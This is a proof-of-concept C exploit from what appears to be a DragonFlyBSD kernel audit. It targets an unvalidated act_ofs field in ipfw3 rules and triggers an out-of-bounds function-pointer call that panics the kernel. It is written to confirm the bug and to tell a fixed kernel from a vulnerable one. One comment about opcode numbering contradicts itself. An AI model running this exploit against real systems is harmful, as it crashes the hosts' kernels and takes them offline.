DragonFlyBSD Kernel Audit
DF-0475 / df0475_oob.c
← back to finding ↓ download raw
/*
 * DF-0475 - ipfw3 act_ofs never validated -> OOB pointer deref
 *
 * Bug: sys/net/ipfw3/ip_fw3.c:651 (add_rule_dispatch) copies
 *   rule->act_ofs = ioc_rule->act_ofs;
 * verbatim from user input with NO check that act_ofs <= cmd_len.
 * ACTION_PTR(rule) at sys/net/ipfw3/ip_fw3.h:134-135 is
 *   (ipfw_insn *)((uint32_t *)rule->cmd + rule->act_ofs)
 * so when act_ofs >= cmd_len it points past the cmd[] array into
 * adjacent kernel heap. The OOB deref is reached at:
 *   - ip_fw3_chk CHK_STATE case (ip_fw3.c:520-524):
 *        cmd = ACTION_PTR(f); l = f->cmd_len - f->act_ofs; goto check_body;
 *     which then reads OOB cmd->module / cmd->opcode and calls
 *     filter_funcs[OOB_module][OOB_opcode] (line 506) -> arbitrary /
 *     NULL function pointer call.
 *   - lookup_next_rule (ip_fw3.c:294-296) on dummynet reinject.
 *   - ip_fw3_dummynet_io (ip_fw3.c:608-611).
 *
 * Trigger rule:
 *   cmd[0] = { opcode=O_BASIC_CHECK_STATE, len=2, module=0 }
 *   cmd_len = 1, act_ofs = 99   (way past cmd_len)
 *   rulenum = 200
 *
 * When a packet matches, check_check_state (ip_fw3_basic/ip_fw3_state.c:153)
 * sets *cmd_ctl = IP_FW_CTL_CHK_STATE, so ip_fw3.c:520-524 fires ACTION_PTR,
 * reads OOB module/opcode, and calls filter_funcs[OOB_module][OOB_opcode].
 * On default GENERIC this typically panics (NULL or garbage func pointer,
 * or KASSERT if INVARIANTS catch it).
 *
 * Preconditions:
 *   - sysctl net.filters_default_to_accept=1 before kldload ipfw3.
 *   - kldload ipfw3 + ipfw3_basic (need O_BASIC_CHECK_STATE registered,
 *     which is in ip_fw3_basic's init via register_filter_funcs).
 *   - Root (raw socket + setsockopt).
 *
 * Build:  cc -o df0475_oob df0475_oob.c
 * Run:    ./df0475_oob
 * Expected (bug present): kernel panic via OOB function-pointer call
 *   (NULL deref or invalid call target) -- captured in dfbsd-qemu/boot.log.
 * Expected (fixed): rule install rejected with EINVAL, program prints
 *   "setsockopt: Invalid argument" and exits cleanly.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X    49
#define IP_FW_ADD  50

#define F_NOT      0x80
#define F_LEN_MASK 0x3f

struct ipfw_insn {
    uint8_t  opcode;
    uint8_t  len;
    uint16_t arg1;
    uint8_t  module;
    uint8_t  arg3;
    uint16_t arg2;
} __attribute__((packed));

struct ip_fw_x_header {
    uint16_t opcode;
    uint16_t _pad;
} __attribute__((packed));

/* Opcodes from sys/net/ipfw3_basic/ip_fw3_basic.h:40-76 enum.
   O_BASIC_CHECK_STATE is the 25th entry (index 24): ACCEPT0,DENY1,COUNT2,
   SKIPTO3,FORWARD4,IN5,OUT6,VIA7,XMIT8,RECV9,PROTO10,SRC11,SRC_N_PORT12,
   SRC_MASK13,SRC_ME14,SRC_LOOKUP15,DST16,DST_N_PORT17,DST_MASK18,DST_ME19,
   DST_LOOKUP20,SRCPORT21,DSTPORT22,PROB23,KEEP_STATE24,CHECK_STATE25. */
#define O_BASIC_CHECK_STATE  25
#define MODULE_BASIC_ID      0

struct ipfw_ioc_rule {
    uint16_t act_ofs;
    uint16_t cmd_len;
    uint16_t rulenum;
    uint8_t  set;
    uint8_t  insert;
    uint32_t sets;
    uint64_t pcnt;
    uint64_t bcnt;
    uint32_t timestamp;
    struct ipfw_insn cmd[16];
} __attribute__((packed));

struct fw_x_msg {
    struct ip_fw_x_header hdr;
    struct ipfw_ioc_rule rule;
} __attribute__((packed));

int main(void) {
    int s, u, rc;
    struct sockaddr_in dst;
    struct fw_x_msg m;

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket RAW"); return 2; }

    /* Install the buggy rule: act_ofs=99 (OOB), cmd_len=1.
       The single cmd is O_BASIC_CHECK_STATE so CHK_STATE path fires. */
    memset(&m, 0, sizeof(m));
    m.hdr.opcode    = IP_FW_ADD;
    m.rule.act_ofs  = 99;                    /* OOB - never validated */
    m.rule.cmd_len  = 1;
    m.rule.rulenum  = 200;
    m.rule.set      = 0;
    m.rule.insert   = 0;
    m.rule.cmd[0].opcode = O_BASIC_CHECK_STATE;
    m.rule.cmd[0].len    = 2;                /* LEN_OF_IPFWINSN */
    m.rule.cmd[0].module = MODULE_BASIC_ID;

    if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) {
        fprintf(stderr, "setsockopt IP_FW_ADD (OOB act_ofs): %s\n", strerror(errno));
        /* If the kernel validates act_ofs, this fails with EINVAL --
           that's the FIXED behavior. Distinguish in output. */
        if (errno == EINVAL) {
            printf("[+] FIXED: kernel rejected OOB act_ofs (EINVAL)\n");
            return 0;
        }
        return 2;
    }
    printf("[+] installed buggy rule 200 (act_ofs=99, cmd_len=1) -- OOB accepted\n");
    printf("[*] sending trigger UDP packet to 127.0.0.1:9 ...\n");
    printf("[*] if the bug is present, the kernel panics via OOB func call.\n");
    fflush(stdout);

    u = socket(AF_INET, SOCK_DGRAM, 0);
    if (u < 0) { perror("socket UDP"); return 2; }
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(9);
    inet_aton("127.0.0.1", &dst.sin_addr);

    rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst));
    if (rc < 0) perror("sendto");
    printf("[!] sendto returned rc=%d - bug did NOT fire\n", rc);
    close(u);
    close(s);
    return 0;
}